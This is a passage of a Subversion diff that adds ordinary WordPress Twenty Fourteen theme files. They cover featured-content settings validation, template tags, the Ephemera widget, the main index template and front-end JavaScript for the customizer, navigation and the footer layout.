+		if ( 'all' != $key ) {
+			return isset( $options[ $key ] ) ? $options[ $key ] : false;
+		}
+
+		return $options;
+	}
+
+	/**
+	 * Validate featured content settings.
+	 *
+	 * Make sure that all user supplied content is in an expected
+	 * format before saving to the database. This function will also
+	 * delete the transient set in Featured_Content::get_featured_content().
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $input Array of settings input.
+	 * @return array Validated settings output.
+	 */
+	public static function validate_settings( $input ) {
+		$output = array();
+
+		if ( empty( $input['tag-name'] ) ) {
+			$output['tag-id'] = 0;
+		} else {
+			$term = get_term_by( 'name', $input['tag-name'], 'post_tag' );
+
+			if ( $term ) {
+				$output['tag-id'] = $term->term_id;
+			} else {
+				$new_tag = wp_create_tag( $input['tag-name'] );
+
+				if ( ! is_wp_error( $new_tag ) && isset( $new_tag['term_id'] ) ) {
+					$output['tag-id'] = $new_tag['term_id'];
+				}
+			}
+
+			$output['tag-name'] = $input['tag-name'];
+		}
+
+		$output['hide-tag'] = isset( $input['hide-tag'] ) && $input['hide-tag'] ? 1 : 0;
+
+		// Delete the featured post ids transient.
+		self::delete_transient();
+
+		return $output;
+	}
+} // Featured_Content
+
+Featured_Content::setup();
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/template-tags.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/template-tags.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/template-tags.php	(revision 56912)
@@ -0,0 +1,227 @@
+<?php
+/**
+ * Custom template tags for Twenty Fourteen
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+if ( ! function_exists( 'twentyfourteen_paging_nav' ) ) :
+/**
+ * Display navigation to next/previous set of posts when applicable.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @global WP_Query   $wp_query   WordPress Query object.
+ * @global WP_Rewrite $wp_rewrite WordPress Rewrite object.
+ */
+function twentyfourteen_paging_nav() {
+	global $wp_query, $wp_rewrite;
+
+	// Don't print empty markup if there's only one page.
+	if ( $wp_query->max_num_pages < 2 ) {
+		return;
+	}
+
+	$paged        = get_query_var( 'paged' ) ? intval( get_query_var( 'paged' ) ) : 1;
+	$pagenum_link = html_entity_decode( get_pagenum_link() );
+	$query_args   = array();
+	$url_parts    = explode( '?', $pagenum_link );
+
+	if ( isset( $url_parts[1] ) ) {
+		wp_parse_str( $url_parts[1], $query_args );
+	}
+
+	$pagenum_link = remove_query_arg( array_keys( $query_args ), $pagenum_link );
+	$pagenum_link = trailingslashit( $pagenum_link ) . '%_%';
+
+	$format  = $wp_rewrite->using_index_permalinks() && ! strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : '';
+	$format .= $wp_rewrite->using_permalinks() ? user_trailingslashit( $wp_rewrite->pagination_base . '/%#%', 'paged' ) : '?paged=%#%';
+
+	// Set up paginated links.
+	$links = paginate_links( array(
+		'base'     => $pagenum_link,
+		'format'   => $format,
+		'total'    => $wp_query->max_num_pages,
+		'current'  => $paged,
+		'mid_size' => 1,
+		'add_args' => array_map( 'urlencode', $query_args ),
+		'prev_text' => __( '&larr; Previous', 'twentyfourteen' ),
+		'next_text' => __( 'Next &rarr;', 'twentyfourteen' ),
+	) );
+
+	if ( $links ) :
+
+	?>
+	<nav class="navigation paging-navigation" role="navigation">
+		<h1 class="screen-reader-text"><?php _e( 'Posts navigation', 'twentyfourteen' ); ?></h1>
+		<div class="pagination loop-pagination">
+			<?php echo $links; ?>
+		</div><!-- .pagination -->
+	</nav><!-- .navigation -->
+	<?php
+	endif;
+}
+endif;
+
+if ( ! function_exists( 'twentyfourteen_post_nav' ) ) :
+/**
+ * Display navigation to next/previous post when applicable.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_post_nav() {
+	// Don't print empty markup if there's nowhere to navigate.
+	$previous = ( is_attachment() ) ? get_post( get_post()->post_parent ) : get_adjacent_post( false, '', true );
+	$next     = get_adjacent_post( false, '', false );
+
+	if ( ! $next && ! $previous ) {
+		return;
+	}
+
+	?>
+	<nav class="navigation post-navigation" role="navigation">
+		<h1 class="screen-reader-text"><?php _e( 'Post navigation', 'twentyfourteen' ); ?></h1>
+		<div class="nav-links">
+			<?php
+			if ( is_attachment() ) :
+				previous_post_link( '%link', __( '<span class="meta-nav">Published In</span>%title', 'twentyfourteen' ) );
+			else :
+				previous_post_link( '%link', __( '<span class="meta-nav">Previous Post</span>%title', 'twentyfourteen' ) );
+				next_post_link( '%link', __( '<span class="meta-nav">Next Post</span>%title', 'twentyfourteen' ) );
+			endif;
+			?>
+		</div><!-- .nav-links -->
+	</nav><!-- .navigation -->
+	<?php
+}
+endif;
+
+if ( ! function_exists( 'twentyfourteen_posted_on' ) ) :
+/**
+ * Print HTML with meta information for the current post-date/time and author.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_posted_on() {
+	if ( is_sticky() && is_home() && ! is_paged() ) {
+		echo '<span class="featured-post">' . __( 'Sticky', 'twentyfourteen' ) . '</span>';
+	}
+
+	// Set up and print post meta information.
+	printf( '<span class="entry-date"><a href="%1$s" rel="bookmark"><time class="entry-date" datetime="%2$s">%3$s</time></a></span> <span class="byline"><span class="author vcard"><a class="url fn n" href="%4$s" rel="author">%5$s</a></span></span>',
+		esc_url( get_permalink() ),
+		esc_attr( get_the_date( 'c' ) ),
+		esc_html( get_the_date() ),
+		esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+		get_the_author()
+	);
+}
+endif;
+
+/**
+ * Find out if blog has more than one category.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @return boolean true if blog has more than 1 category
+ */
+function twentyfourteen_categorized_blog() {
+	if ( false === ( $all_the_cool_cats = get_transient( 'twentyfourteen_category_count' ) ) ) {
+		// Create an array of all the categories that are attached to posts
+		$all_the_cool_cats = get_categories( array(
+			'hide_empty' => 1,
+		) );
+
+		// Count the number of categories that are attached to the posts
+		$all_the_cool_cats = count( $all_the_cool_cats );
+
+		set_transient( 'twentyfourteen_category_count', $all_the_cool_cats );
+	}
+
+	if ( $all_the_cool_cats > 1 || is_preview() ) {
+		// This blog has more than 1 category so twentyfourteen_categorized_blog should return true
+		return true;
+	} else {
+		// This blog has only 1 category so twentyfourteen_categorized_blog should return false
+		return false;
+	}
+}
+
+/**
+ * Flush out the transients used in twentyfourteen_categorized_blog.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_category_transient_flusher() {
+	// Like, beat it. Dig?
+	delete_transient( 'twentyfourteen_category_count' );
+}
+add_action( 'edit_category', 'twentyfourteen_category_transient_flusher' );
+add_action( 'save_post',     'twentyfourteen_category_transient_flusher' );
+
+if ( ! function_exists( 'twentyfourteen_post_thumbnail' ) ) :
+/**
+ * Display an optional post thumbnail.
+ *
+ * Wraps the post thumbnail in an anchor element on index
+ * views, or a div element when on single views.
+ *
+ * @since Twenty Fourteen 1.0
+ * @since Twenty Fourteen 1.4 Was made 'pluggable', or overridable.
+ */
+function twentyfourteen_post_thumbnail() {
+	if ( post_password_required() || is_attachment() || ! has_post_thumbnail() ) {
+		return;
+	}
+
+	if ( is_singular() ) :
+	?>
+
+	<div class="post-thumbnail">
+	<?php
+		if ( ( ! is_active_sidebar( 'sidebar-2' ) || is_page_template( 'page-templates/full-width.php' ) ) ) {
+			the_post_thumbnail( 'twentyfourteen-full-width' );
+		} else {
+			the_post_thumbnail();
+		}
+	?>
+	</div>
+
+	<?php else : ?>
+
+	<a class="post-thumbnail" href="<?php the_permalink(); ?>" aria-hidden="true">
+	<?php
+		if ( ( ! is_active_sidebar( 'sidebar-2' ) || is_page_template( 'page-templates/full-width.php' ) ) ) {
+			the_post_thumbnail( 'twentyfourteen-full-width' );
+		} else {
+			the_post_thumbnail( 'post-thumbnail', array( 'alt' => get_the_title() ) );
+		}
+	?>
+	</a>
+
+	<?php endif; // End is_singular()
+}
+endif;
+
+if ( ! function_exists( 'twentyfourteen_excerpt_more' ) && ! is_admin() ) :
+/**
+ * Replaces "[...]" (appended to automatically generated excerpts) with ...
+ * and a Continue reading link.
+ *
+ * @since Twenty Fourteen 1.3
+ *
+ * @param string $more Default Read More excerpt link.
+ * @return string Filtered Read More excerpt link.
+ */
+function twentyfourteen_excerpt_more( $more ) {
+	$link = sprintf( '<a href="%1$s" class="more-link">%2$s</a>',
+		esc_url( get_permalink( get_the_ID() ) ),
+			/* translators: %s: Name of current post */
+			sprintf( __( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ), '<span class="screen-reader-text">' . get_the_title( get_the_ID() ) . '</span>' )
+		);
+	return ' &hellip; ' . $link;
+}
+add_filter( 'excerpt_more', 'twentyfourteen_excerpt_more' );
+endif;
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/widgets.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/widgets.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/widgets.php	(revision 56912)
@@ -0,0 +1,291 @@
+<?php
+/**
+ * Custom Widget for displaying specific post formats
+ *
+ * Displays posts from Aside, Quote, Video, Audio, Image, Gallery, and Link formats.
+ *
+ * @link https://codex.wordpress.org/Widgets_API#Developing_Widgets
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+class Twenty_Fourteen_Ephemera_Widget extends WP_Widget {
+
+	/**
+	 * The supported post formats.
+	 *
+	 * @access private
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @var array
+	 */
+	private $formats = array( 'aside', 'image', 'video', 'audio', 'quote', 'link', 'gallery' );
+
+	/**
+	 * Constructor.
+	 *
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @return Twenty_Fourteen_Ephemera_Widget
+	 */
+	public function __construct() {
+		parent::__construct( 'widget_twentyfourteen_ephemera', __( 'Twenty Fourteen Ephemera', 'twentyfourteen' ), array(
+			'classname'   => 'widget_twentyfourteen_ephemera',
+			'description' => __( 'Use this widget to list your recent Aside, Quote, Video, Audio, Image, Gallery, and Link posts.', 'twentyfourteen' ),
+			'customize_selective_refresh' => true,
+		) );
+
+		if ( is_active_widget( false, false, $this->id_base ) || is_customize_preview() ) {
+			add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
+		}
+	}
+
+	/**
+	 * Enqueue scripts.
+	 *
+	 * @since Twenty Fourteen 1.7
+	 */
+	public function enqueue_scripts() {
+		/** This filter is documented in wp-includes/media.php */
+		$audio_library = apply_filters( 'wp_audio_shortcode_library', 'mediaelement' );
+		/** This filter is documented in wp-includes/media.php */
+		$video_library = apply_filters( 'wp_video_shortcode_library', 'mediaelement' );
+		if ( in_array( 'mediaelement', array( $video_library, $audio_library ), true ) ) {
+			wp_enqueue_style( 'wp-mediaelement' );
+			wp_enqueue_script( 'mediaelement-vimeo' );
+			wp_enqueue_script( 'wp-mediaelement' );
+		}
+	}
+
+	/**
+	 * Output the HTML for this widget.
+	 *
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $args     An array of standard parameters for widgets in this theme.
+	 * @param array $instance An array of settings for this widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		$format = isset( $instance['format'] ) && in_array( $instance['format'], $this->formats ) ? $instance['format'] : 'aside';
+
+		switch ( $format ) {
+			case 'image':
+				$format_string      = __( 'Images', 'twentyfourteen' );
+				$format_string_more = __( 'More images', 'twentyfourteen' );
+				break;
+			case 'video':
+				$format_string      = __( 'Videos', 'twentyfourteen' );
+				$format_string_more = __( 'More videos', 'twentyfourteen' );
+				break;
+			case 'audio':
+				$format_string      = __( 'Audio', 'twentyfourteen' );
+				$format_string_more = __( 'More audio', 'twentyfourteen' );
+				break;
+			case 'quote':
+				$format_string      = __( 'Quotes', 'twentyfourteen' );
+				$format_string_more = __( 'More quotes', 'twentyfourteen' );
+				break;
+			case 'link':
+				$format_string      = __( 'Links', 'twentyfourteen' );
+				$format_string_more = __( 'More links', 'twentyfourteen' );
+				break;
+			case 'gallery':
+				$format_string      = __( 'Galleries', 'twentyfourteen' );
+				$format_string_more = __( 'More galleries', 'twentyfourteen' );
+				break;
+			case 'aside':
+			default:
+				$format_string      = __( 'Asides', 'twentyfourteen' );
+				$format_string_more = __( 'More asides', 'twentyfourteen' );
+				break;
+		}
+
+		$number = empty( $instance['number'] ) ? 2 : absint( $instance['number'] );
+		$title  = apply_filters( 'widget_title', empty( $instance['title'] ) ? $format_string : $instance['title'], $instance, $this->id_base );
+
+		$ephemera = new WP_Query( array(
+			'order'          => 'DESC',
+			'posts_per_page' => $number,
+			'no_found_rows'  => true,
+			'post_status'    => 'publish',
+			'post__not_in'   => get_option( 'sticky_posts' ),
+			'tax_query'      => array(
+				array(
+					'taxonomy' => 'post_format',
+					'terms'    => array( "post-format-$format" ),
+					'field'    => 'slug',
+					'operator' => 'IN',
+				),
+			),
+		) );
+
+		if ( $ephemera->have_posts() ) :
+			$tmp_content_width = $GLOBALS['content_width'];
+			$GLOBALS['content_width'] = 306;
+
+			echo $args['before_widget'];
+			?>
+			<h1 class="widget-title <?php echo esc_attr( $format ); ?>">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( $format ) ); ?>"><?php echo esc_html( $title ); ?></a>
+			</h1>
+			<ol>
+
+				<?php
+					while ( $ephemera->have_posts() ) :
+						$ephemera->the_post();
+						$tmp_more = $GLOBALS['more'];
+						$GLOBALS['more'] = 0;
+				?>
+				<li>
+				<article <?php post_class(); ?>>
+					<div class="entry-content">
+						<?php
+							if ( has_post_format( 'gallery' ) ) :
+
+								if ( post_password_required() ) :
+									the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ) );
+								else :
+									$images = array();
+
+									$galleries = get_post_galleries( get_the_ID(), false );
+									if ( isset( $galleries[0]['ids'] ) )
+										$images = explode( ',', $galleries[0]['ids'] );
+
+									if ( ! $images ) :
+										$images = get_posts( array(
+											'fields'         => 'ids',
+											'numberposts'    => -1,
+											'order'          => 'ASC',
+											'orderby'        => 'menu_order',
+											'post_mime_type' => 'image',
+											'post_parent'    => get_the_ID(),
+											'post_type'      => 'attachment',
+										) );
+									endif;
+
+									$total_images = count( $images );
+
+									if ( has_post_thumbnail() ) :
+										$post_thumbnail = get_the_post_thumbnail();
+									elseif ( $total_images > 0 ) :
+										$image          = reset( $images );
+										$post_thumbnail = wp_get_attachment_image( $image, 'post-thumbnail' );
+									endif;
+
+									if ( ! empty ( $post_thumbnail ) ) :
+						?>
+						<a href="<?php the_permalink(); ?>"><?php echo $post_thumbnail; ?></a>
+						<?php endif; ?>
+						<p class="wp-caption-text">
+							<?php
+								printf( _n( 'This gallery contains <a href="%1$s" rel="bookmark">%2$s photo</a>.', 'This gallery contains <a href="%1$s" rel="bookmark">%2$s photos</a>.', $total_images, 'twentyfourteen' ),
+									esc_url( get_permalink() ),
+									number_format_i18n( $total_images )
+								);
+							?>
+						</p>
+						<?php
+								endif;
+
+							else :
+								the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ) );
+							endif;
+						?>
+					</div><!-- .entry-content -->
+
+					<header class="entry-header">
+						<div class="entry-meta">
+							<?php
+								if ( ! has_post_format( 'link' ) ) :
+									the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+								endif;
+
+								printf( '<span class="entry-date"><a href="%1$s" rel="bookmark"><time class="entry-date" datetime="%2$s">%3$s</time></a></span> <span class="byline"><span class="author vcard"><a class="url fn n" href="%4$s" rel="author">%5$s</a></span></span>',
+									esc_url( get_permalink() ),
+									esc_attr( get_the_date( 'c' ) ),
+									esc_html( get_the_date() ),
+									esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+									get_the_author()
+								);
+
+								if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) :
+							?>
+							<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+							<?php endif; ?>
+						</div><!-- .entry-meta -->
+					</header><!-- .entry-header -->
+				</article><!-- #post-## -->
+				</li>
+				<?php endwhile; ?>
+
+			</ol>
+			<a class="post-format-archive-link" href="<?php echo esc_url( get_post_format_link( $format ) ); ?>">
+				<?php
+					/* translators: used with More archives link */
+					printf( __( '%s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ), $format_string_more );
+				?>
+			</a>
+			<?php
+
+			echo $args['after_widget'];
+
+			// Reset the post globals as this query will have stomped on it.
+			wp_reset_postdata();
+
+			$GLOBALS['more']          = $tmp_more;
+			$GLOBALS['content_width'] = $tmp_content_width;
+
+		endif; // End check for ephemeral posts.
+	}
+
+	/**
+	 * Deal with the settings when they are saved by the admin.
+	 *
+	 * Here is where any validation should happen.
+	 *
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $new_instance New widget instance.
+	 * @param array $instance     Original widget instance.
+	 * @return array Updated widget instance.
+	 */
+	function update( $new_instance, $instance ) {
+		$instance['title']  = strip_tags( $new_instance['title'] );
+		$instance['number'] = empty( $new_instance['number'] ) ? 2 : absint( $new_instance['number'] );
+		if ( in_array( $new_instance['format'], $this->formats ) ) {
+			$instance['format'] = $new_instance['format'];
+		}
+
+		return $instance;
+	}
+
+	/**
+	 * Display the form for this widget on the Widgets page of the Admin area.
+	 *
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $instance
+	 */
+	function form( $instance ) {
+		$title  = empty( $instance['title'] ) ? '' : esc_attr( $instance['title'] );
+		$number = empty( $instance['number'] ) ? 2 : absint( $instance['number'] );
+		$format = isset( $instance['format'] ) && in_array( $instance['format'], $this->formats ) ? $instance['format'] : 'aside';
+		?>
+			<p><label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php _e( 'Title:', 'twentyfourteen' ); ?></label>
+			<input id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>" class="widefat" name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>"></p>
+
+			<p><label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php _e( 'Number of posts to show:', 'twentyfourteen' ); ?></label>
+			<input id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>" type="text" value="<?php echo esc_attr( $number ); ?>" size="3"></p>
+
+			<p><label for="<?php echo esc_attr( $this->get_field_id( 'format' ) ); ?>"><?php _e( 'Post format to show:', 'twentyfourteen' ); ?></label>
+			<select id="<?php echo esc_attr( $this->get_field_id( 'format' ) ); ?>" class="widefat" name="<?php echo esc_attr( $this->get_field_name( 'format' ) ); ?>">
+				<?php foreach ( $this->formats as $slug ) : ?>
+				<option value="<?php echo esc_attr( $slug ); ?>"<?php selected( $format, $slug ); ?>><?php echo esc_html( get_post_format_string( $slug ) ); ?></option>
+				<?php endforeach; ?>
+			</select>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/index.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/index.php	(revision 56912)
@@ -0,0 +1,61 @@
+<?php
+/**
+ * The main template file
+ *
+ * This is the most generic template file in a WordPress theme and one
+ * of the two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query,
+ * e.g., it puts together the home page when no home.php file exists.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+<div id="main-content" class="main-content">
+
+<?php
+	if ( is_front_page() && twentyfourteen_has_featured_posts() ) {
+		// Include the featured content template.
+		get_template_part( 'featured-content' );
+	}
+?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+		<?php
+			if ( have_posts() ) :
+				// Start the Loop.
+				while ( have_posts() ) : the_post();
+
+					/*
+					 * Include the post format-specific template for the content. If you want to
+					 * use this in a child theme, then include a file called content-___.php
+					 * (where ___ is the post format) and that will be used instead.
+					 */
+					get_template_part( 'content', get_post_format() );
+
+				endwhile;
+				// Previous/next post navigation.
+				twentyfourteen_paging_nav();
+
+			else :
+				// If no content, include the "No posts found" template.
+				get_template_part( 'content', 'none' );
+
+			endif;
+		?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+	<?php get_sidebar( 'content' ); ?>
+</div><!-- #main-content -->
+
+<?php
+get_sidebar();
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/customizer.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/customizer.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/customizer.js	(revision 56912)
@@ -0,0 +1,38 @@
+/**
+ * Twenty Fourteen Customizer enhancements for a better user experience.
+ *
+ * Contains handlers to make Customizer preview reload changes asynchronously.
+ */
+( function( $ ) {
+	// Site title and description.
+	wp.customize( 'blogname', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-title a' ).text( to );
+		} );
+	} );
+	wp.customize( 'blogdescription', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-description' ).text( to );
+		} );
+	} );
+	// Header text color.
+	wp.customize( 'header_textcolor', function( value ) {
+		value.bind( function( to ) {
+			if ( 'blank' === to ) {
+				$( '.site-title, .site-description' ).css( {
+					'clip': 'rect(1px, 1px, 1px, 1px)',
+					'position': 'absolute'
+				} );
+			} else {
+				$( '.site-title,  .site-description' ).css( {
+					'clip': 'auto',
+					'position': 'static'
+				} );
+
+				$( '.site-title a' ).css( {
+					'color': to
+				} );
+			}
+		} );
+	} );
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/featured-content-admin.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/featured-content-admin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/featured-content-admin.js	(revision 56912)
@@ -0,0 +1,9 @@
+/**
+ * Twenty Fourteen Featured Content admin behavior: add a tag suggestion
+ * when changing the tag.
+ */
+/* global ajaxurl:true */
+
+jQuery( document ).ready( function( $ ) {
+	$( '#customize-control-featured-content-tag-name input' ).suggest( ajaxurl + '?action=ajax-tag-search&tax=post_tag', { delay: 500, minchars: 2 } );
+});
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/functions.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/functions.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/functions.js	(revision 56912)
@@ -0,0 +1,209 @@
+/**
+ * Theme functions file
+ *
+ * Contains handlers for navigation, accessibility, header sizing
+ * footer widgets and Featured Content slider
+ *
+ */
+( function( $ ) {
+	var body    = $( 'body' ),
+		_window = $( window ),
+		nav, button, menu;
+
+	nav = $( '#primary-navigation' );
+	button = nav.find( '.menu-toggle' );
+	menu = nav.find( '.nav-menu' );
+
+	// Enable menu toggle for small screens.
+	( function() {
+		if ( ! nav.length || ! button.length ) {
+			return;
+		}
+
+		// Hide button if menu is missing or empty.
+		if ( ! menu.length || ! menu.children().length ) {
+			button.hide();
+			return;
+		}
+
+		button.on( 'click.twentyfourteen', function() {
+			nav.toggleClass( 'toggled-on' );
+			if ( nav.hasClass( 'toggled-on' ) ) {
+				$( this ).attr( 'aria-expanded', 'true' );
+				menu.attr( 'aria-expanded', 'true' );
+			} else {
+				$( this ).attr( 'aria-expanded', 'false' );
+				menu.attr( 'aria-expanded', 'false' );
+			}
+		} );
+	} )();
+
+	/*
+	 * Makes "skip to content" link work correctly in IE9 and Chrome for better
+	 * accessibility.
+	 *
+	 * @link http://www.nczonline.net/blog/2013/01/15/fixing-skip-to-content-links/
+	 */
+	_window.on( 'hashchange.twentyfourteen', function() {
+		var hash = location.hash.substring( 1 ), element;
+
+		if ( ! hash ) {
+			return;
+		}
+
+		element = document.getElementById( hash );
+
+		if ( element ) {
+			if ( ! /^(?:a|select|input|button|textarea)$/i.test( element.tagName ) ) {
+				element.tabIndex = -1;
+			}
+
+			element.focus();
+
+			// Repositions the window on jump-to-anchor to account for header height.
+			window.scrollBy( 0, -80 );
+		}
+	} );
+
+	$( function() {
+		// Search toggle.
+		$( '.search-toggle' ).on( 'click.twentyfourteen', function( event ) {
+			var that    = $( this ),
+				wrapper = $( '#search-container' ),
+				container = that.find( 'a' );
+
+			that.toggleClass( 'active' );
+			wrapper.toggleClass( 'hide' );
+
+			if ( that.hasClass( 'active' ) ) {
+				container.attr( 'aria-expanded', 'true' );
+			} else {
+				container.attr( 'aria-expanded', 'false' );
+			}
+
+			if ( that.is( '.active' ) || $( '.search-toggle .screen-reader-text' )[0] === event.target ) {
+				wrapper.find( '.search-field' ).focus();
+			}
+		} );
+
+		/*
+		 * Fixed header for large screen.
+		 * If the header becomes more than 48px tall, unfix the header.
+		 *
+		 * The callback on the scroll event is only added if there is a header
+		 * image and we are not on mobile.
+		 */
+		if ( _window.width() > 781 ) {
+			var mastheadHeight = $( '#masthead' ).height(),
+				toolbarOffset, mastheadOffset;
+
+			if ( mastheadHeight > 48 ) {
+				body.removeClass( 'masthead-fixed' );
+			}
+
+			if ( body.is( '.header-image' ) ) {
+				toolbarOffset  = body.is( '.admin-bar' ) ? $( '#wpadminbar' ).height() : 0;
+				mastheadOffset = $( '#masthead' ).offset().top - toolbarOffset;
+
+				_window.on( 'scroll.twentyfourteen', function() {
+					if ( _window.scrollTop() > mastheadOffset && mastheadHeight < 49 ) {
+						body.addClass( 'masthead-fixed' );
+					} else {
+						body.removeClass( 'masthead-fixed' );
+					}
+				} );
+			}
+		}
+
+		// Focus styles for menus.
+		$( '.primary-navigation, .secondary-navigation' ).find( 'a' ).on( 'focus.twentyfourteen blur.twentyfourteen', function() {
+			$( this ).parents().toggleClass( 'focus' );
+		} );
+	} );
+
+	/**
+	 * @summary Add or remove ARIA attributes.
+	 * Uses jQuery's width() function to determine the size of the window and add
+	 * the default ARIA attributes for the menu toggle if it's visible.
+	 * @since Twenty Fourteen 1.4
+	 */
+	function onResizeARIA() {
+		if ( 781 > _window.width() ) {
+			button.attr( 'aria-expanded', 'false' );
+			menu.attr( 'aria-expanded', 'false' );
+			button.attr( 'aria-controls', 'primary-menu' );
+		} else {
+			button.removeAttr( 'aria-expanded' );
+			menu.removeAttr( 'aria-expanded' );
+			button.removeAttr( 'aria-controls' );
+		}
+	}
+
+	_window
+		.on( 'load.twentyfourteen', onResizeARIA )
+		.on( 'resize.twentyfourteen', function() {
+			onResizeARIA();
+	} );
+
+	_window.load( function() {
+		var footerSidebar,
+			isCustomizeSelectiveRefresh = ( 'undefined' !== typeof wp && wp.customize && wp.customize.selectiveRefresh );
+
+		// Arrange footer widgets vertically.
+		if ( $.isFunction( $.fn.masonry ) ) {
+			footerSidebar = $( '#footer-sidebar' );
+			footerSidebar.masonry( {
+				itemSelector: '.widget',
+				columnWidth: function( containerWidth ) {
+					return containerWidth / 4;
+				},
+				gutterWidth: 0,
+				isResizable: true,
+				isRTL: $( 'body' ).is( '.rtl' )
+			} );
+
+			if ( isCustomizeSelectiveRefresh ) {
+
+				// Retain previous masonry-brick initial position.
+				wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
+					var copyPosition = (
+						placement.partial.extended( wp.customize.widgetsPreview.WidgetPartial ) &&
+						placement.removedNodes instanceof jQuery &&
+						placement.removedNodes.is( '.masonry-brick' ) &&
+						placement.container instanceof jQuery
+					);
+					if ( copyPosition ) {
+						placement.container.css( {
+							position: placement.removedNodes.css( 'position' ),
+							top: placement.removedNodes.css( 'top' ),
+							left: placement.removedNodes.css( 'left' )
+						} );
+					}
+				} );
+
+				// Re-arrange footer widgets after selective refresh event.
+				wp.customize.selectiveRefresh.bind( 'sidebar-updated', function( sidebarPartial ) {
+					if ( 'sidebar-3' === sidebarPartial.sidebarId ) {
+						footerSidebar.masonry( 'reloadItems' );
+						footerSidebar.masonry( 'layout' );
+					}
+				} );
+			}
+		}
+
+		// Initialize audio and video players in Twenty_Fourteen_Ephemera_Widget widget when selectively refreshed in Customizer.
+		if ( isCustomizeSelectiveRefresh && wp.mediaelement ) {
+			wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function() {
+				wp.mediaelement.initialize();
+			} );
+		}
+
+		// Initialize Featured Content slider.
+		if ( body.is( '.slider' ) ) {
+			$( '.featured-content' ).featuredslider( {
+				selector: '.featured-content-inner > article',
+				controlsContainer: '.featured-content'
+			} );
+		}
+	} );
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/html5.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/html5.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/js/html5.js	(revision 56912)
@@ -0,0 +1,8 @@
+/*
+ HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
+*/
